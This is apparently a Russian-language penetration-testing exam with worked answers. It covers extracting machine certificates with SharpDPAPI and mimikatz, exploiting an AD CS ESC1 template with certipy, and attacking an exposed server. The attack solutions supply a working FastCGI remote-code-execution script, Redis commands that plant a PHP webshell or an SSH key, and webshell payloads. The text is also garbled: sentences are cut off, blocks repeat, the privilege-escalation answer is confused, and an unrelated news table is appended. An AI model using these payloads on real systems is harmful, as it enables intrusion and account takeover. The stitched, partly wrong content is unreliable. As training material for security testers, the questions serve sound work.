SharpDPAPI.exe certificates /machine /mkfile:mkfile.txt /target:ProgramDataMicrosoftCryptoRSAMachineKeysfc58e716dd94cece30c087d4db914620_e1d345bd-ebc1-4d50-8b78-3f3e787e0953 /showall


Для восстановления сертификата загружаем куст Windows/System32/config/SOFTWARE:




По пути Microsoft > SystemCertificates > MY > Certificates > DB74D352754B27D58F8DA91B772F223718922619 по ключу Blob находим сериализованный сертификат:


Экспортируем этот ключ, после чего форматируем его в формате DER:
mimikatz.exe "crypto::system /file:publickey /export" "exit"


Конвертируем в PEM:
openssl x509 -in publickey.der -inform der


В ходе тестирования вы получили доступ к AD CS от имени пользователя, состоящего в группе Domain Users. Собрав данные конфигурации AD CS вы видите такой шаблон сертификата. Какая уязвимость скрыта в нём? Приведи пример команды для её эксплуатации.
Template Name : ForClient
Display Name : ForClient
Certificate Authorities : Antique_CA
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 5 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 1024
Template Created : 2019-06-22T10:02:18+00:00
Template Last Modified : 2026-12-22T11:36:18+00:00
Permissions
Enrollment Permissions
Enrollment Rights : PENTEST.LOCALAuthenticated Users
Object Control Permissions
Owner : PENTEST.LOCALAdmin
Full Control Principals : PENTEST.LOCALDomain Admins
PENTEST.LOCALEnterprise Admins
Write Owner Principals : PENTEST.LOCALDomain Admins
PENTEST.LOCALEnterprise Admins
Write Dacl Principals : PENTEST.LOCALDomain Admins
PENTEST.LOCALEnterprise Admins
Write Property Enroll : PENTEST.LOCALDomain Admins
PENTEST.LOCALEnterprise Admins
Решение:
В параметре Enrollment Rights указано значение PENTEST.LOCALAuthenticated Users. Это означает что пользоваться данным шаблоном сертификата могут любые пользователи данной группы.Enrollee Supplies Subject указано значение True. Это означает что пользователь, использующий шаблон может указать любого принципала в сертификате.Extended Key Usage: Client Authentication, это позволяет впоследствии использовать выданный сертификат для удостоверения в системе (для Kerberos/LDAP-аутентификации под именем пользователя указанного в сертификате).Requires Manager Approval: False) и дополнительной его подписи другим доверенным сертификатом (Authorized Signatures Required: 0).Сумма этих конфигураций позволяет любому пользователю группы PENTEST.LOCALAuthenticated Users получить сертификат на имя другого пользователя с высокими правами, например PENTEST.LOCALAdmin и использовать сертификат для аутентификации под его именем. Эта атака на Active Directory Certificate Services (AD CS) также известна как ESC1.
Команда для эксплуатации:
certipy-ad req -target <ip> -ca ‘Antique_CA’ -template ‘ForClient’ -upn ‘admin@pentest.local’
Вопрос 9
При проведении анализа защищённости внешнего периметра компании TargetCorp вы обнаружили сервер с IP-адресом 2.12.85.6. Ниже приведены результаты сканирования портов и взаимодействия с обнаруженными сервисами.
$ nmap -sV -sC -p- 2.12.85.6
#### Взаимодействие с Redis (порт 6379):
```bash
$ redis-cli -h 2.12.85.6
2.12.85.6:6379> PING
PONG
2.12.85.6:6379> INFO server
# Server
redis_version:7.0.11
os:Linux 5.15.0-91-generic x86_64
2.12.85.6:6379> KEYS *
1) "session:admin:9f3a2b"
2) "config:database"
3) "cache:page:main"
Взаимодействие с Adminer (порт 8080)
При обращении к http://2.12.85.6:8080/ открывается интерфейс Adminer 4.6.1 с формой входа. Поддерживается подключение к MySQL.
Взаимодействие с PHP-FPM / FastCGI (порт 9000):$ cgi-fcgi -bind -connect 2.12.85.6:9000
Connection refused? No - connection established.
$ python3 fcgi_exploit.py 2.12.85.6 9000 /var/www/html/index.php
X-Powered-By: PHP/8.1.2
Content-type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
<head><title>TargetCorp - Corporate Portal</title></head>
...
Взаимодействие с веб-приложением (порт 80):
$ curl -I http://2.12.85.6/
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: PHP/8.1.2
Set-Cookie: PHPSESSID=abc123; path=/; HttpOnly
$ curl http://2.12.85.6/robots.txt
User-agent: *
Disallow: /admin/
Disallow: /backup/
$ curl http://2.12.85.6/backup/
<title>Index of /backup/</title>
<a href="db_dump_2024-01-15.sql.gz">db_dump_2024-01-15.sql.gz</a> 15-Jan-2024 03:00 2.4M
<a href="site_config.tar.gz">site_config.tar.gz</a> 15-Jan-2024 03:00 156K
Решение
1. Открытая директория с резервными копиями
В robots.txt указан путь /backup/, directory listing включён. Доступны файлы db_dump_2024-01-15.sql.gz и site_config.tar.gz.
Redis на порту 6379 доступен извне без какой-либо аутентификации.
Это позволяет:
config:database можно получить учётные данные ДБ.session:admin:9f3a2b можно получить информацию о сессии администратора.CONFIG SET dir /root/.ssh и CONFIG SET dbfilename authorized_keys (если Redis работает от root).Adminer 4.6.1 на порту 8080 доступен без ограничений. Используя учётные данные из Redis, можно подключиться к базе данных БД через Adminer.
Также возможна эксплуатация CVE-2021-43008 для чтения файлов в системе.
Также возможна запись веб-шелла через SELECT .. INTO OUTFILE при наличии привилегии FILE.
Если порт открыт наружу, атакующий может напрямую отправлять FastCGI-запросы и выполнять произвольный PHP-код.
Передаём PHP_VALUE: auto_prepend_file = php://input и в теле FastCGI-запроса — произвольный PHP-код. PHP-FPM выполнит его перед обработкой основного скрипта.
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';" # Команда
FILENAMES="/var/www/public/index.php" # Путь к существующему файлу
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i
PHP_VALUE="allow_url_include=1"$'n'"allow_url_fopen=1"$'n'"auto_prepend_file='data://text/plain;base64,$B64'"
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
Альтернативный вектор через Redis + FastCGI:
Cвязка Redis + FastCGI позволяет получить RCE: через неаутентифицированный Redis записываем PHP-файл на диск (CONFIG SET dir /var/www/html; CONFIG SET dbfilename shell.php; SET payload '<?php system($_GET["cmd"]); ?>'; SAVE), а затем обращаемся к нему через FastCGI.
Cвязка MySQL + FastCGI позволяет получить RCE: через SQL записываем веб-шелл при наличии привилегии FILE через SELECT .. INTO OUTFILE, а затем обращаемся к нему через FastCGI.
robots.txt раскрывает существование /admin/ и /backup/. Заголовки ответа раскрывают версии ПО: nginx/1.18.0, PHP/8.1.2. Это помогает атакующему в разведке.
PHP_VALUE: auto_prepend_file = php://input и PHP-кодом в теле.
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';" # Команда
FILENAMES="/var/www/public/index.php" # Путь к существующему файлу
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i
PHP_VALUE="allow_url_include=1"$'n'"allow_url_fopen=1"$'n'"auto_prepend_file='data://text/plain;base64,$B64'"
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
config:database.SELECT .. INTO OUTFILE, а затем обращаемся к нему через FastCGI или nginx.CONFIG SET dir /root/.ssh; CONFIG SET dbfilename authorized_keys.SET key "nnssh-rsa AAAA...attacker_key...nn"; SAVE.CONFIG SET dir /var/www/html; CONFIG SET dbfilename rce.php.SET payload '<?php system($_GET["c"]); ?>'; SAVE.Вы получили шелл с правами пользователя user, файл /etc/shadow имеет следующие права -rw----rw- root user /etc/shadow.
Можно ли повысить привилегии в таком случае? Если можно, то как? Если нельзя, опишите почему и есть ли способы обхода?
Какой будет ответ, если у пользователя user будет такой набор групп: user cdrom vboxusers docker, а разрешения у файла /etc/shadow будут -rw----rw- root adm /etc/shadow?
user НЕ может в данном случае писать в /etc/shadow так как состоит в группе user и linux сначала проверяет группу и отказывает в доступе, несмотря на то что стоит флаг на запись/чтение ВСЕМ.user.
10.2
Во данном случае повышение возможно т.к. у файла без привилегий группа adm, а пользователь user в ней не состоит.
| # | Наименование новости | Тональность | Информативность | Дата публикации |
|---|---|---|---|---|
| 1 | Кейс: Один забытый архив университета | 0 | 12.86 | 23-07-2026 |
| 2 | Эксперт: Почему важно сообщать об утечке персональных данных | 0 | 7 | 14-07-2026 |
| 3 | Кибератаки на российские компании перестали быть примитивными. Теперь почти половина - сложные DDoS-атаки | 0 | 7 | 06-07-2026 |
| 4 | 5 Best Kubernetes Security Tools in 2026: Full Breakdown | 0 | 5 | 06-05-2026 |
| 5 | Грушко: российские госучреждения и банки подвергаются мощнейшим хакерским атакам | 0 | 0 | 15-11-2018 |
| 6 | ГП нейтрализовала 10 тыс. хакерских атак на инфраструктуру ведомства | 0 | 0 | 16-09-2025 |
| 7 | Шойгу: международный форум по безопасности пройдет в России в 2026 году | 0 | 0 | 16-09-2025 |
| 8 | В ИИ-приложениях почти каждая третья уязвимость является высокорисковой | 0 | 7 | 03-07-2026 |
| 9 | В ИИ-приложениях почти каждая третья уязвимость является высокорисковой | 0 | 7 | 03-07-2026 |